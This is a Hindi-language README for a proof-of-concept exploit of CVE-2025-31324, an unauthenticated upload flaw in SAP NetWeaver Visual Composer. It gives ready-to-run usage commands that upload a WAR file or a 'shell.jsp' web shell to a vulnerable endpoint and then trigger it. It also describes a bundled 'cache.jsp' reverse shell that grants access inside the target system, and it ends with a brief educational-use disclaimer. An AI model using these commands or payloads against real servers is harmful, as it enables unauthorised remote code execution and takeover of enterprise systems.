CVE-2025-31324_PoC

CVE-2025-31324 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: SAP NetWeaver Visual Composer Metadata Uploader में अनधिकृत अपलोड

यह स्क्रिप्ट निम्नलिखित कार्य करती है:

1. कमजोर एंडपॉइंट पर फ़ाइल अपलोड (अपलोड होस्ट/पोर्ट के माध्यम से)
2. HTTP GET के माध्यम से वैकल्पिक ट्रिगर (ट्रिगर होस्ट/पोर्ट के माध्यम से)
3. बुनियादी प्रतिक्रिया सत्यापन/लॉगिंग

उपयोग उदाहरण: python3 PoC.py
--host sap.example.com --port 50000
--endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR
--file EvilPayload.war
--trigger-path /irj/portal/irj/servlet_jsp/irj/root/EvilPayload/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https true
--bypass-portal

python3 PoC.py --host sap.example.com --port 50000
--endpoint /developmentserver/metadatauploader
--file shell.jsp
--trigger-path /visual_composer/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https

आपके पास .war फ़ाइल अपलोड करने की क्षमता भी है, यदि आप इस प्रकार निष्पादित करना चाहते हैं। cache.jsp एक रिवर्स शेल है जो सिस्टम के अंदर जाने पर आपको पहुंच प्रदान करेगा। (अभी भी वहाँ मुद्दों पर काम चल रहा है)

अस्वीकरण

यह केवल शैक्षिक उद्देश्यों के लिए है और इसका उपयोग किसी भी दुर्भावनापूर्ण गतिविधि के लिए नहीं किया जाना चाहिए। सुरक्षा कमजोरियों का परीक्षण या शोध करते समय हमेशा सुनिश्चित करें कि आपके पास आवश्यक अनुमतियाँ हैं और नैतिक दिशानिर्देशों का पालन करें।

किसी भी प्रश्न या स्पष्टीकरण के लिए, कृपया बेझिझक संपर्क करें। सुरक्षित और संरक्षित रहें!